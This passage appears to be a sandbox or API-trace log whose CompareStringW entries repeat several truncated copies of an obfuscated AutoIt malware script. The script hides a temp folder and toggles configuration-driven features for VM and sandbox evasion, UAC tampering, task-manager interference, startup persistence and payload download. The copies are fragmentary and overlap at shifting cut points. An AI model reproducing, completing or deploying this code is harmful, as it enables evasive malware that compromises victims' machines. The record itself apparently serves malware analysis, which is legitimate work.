\"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@Scr", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@Scri", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@Scrip", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@Script", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal 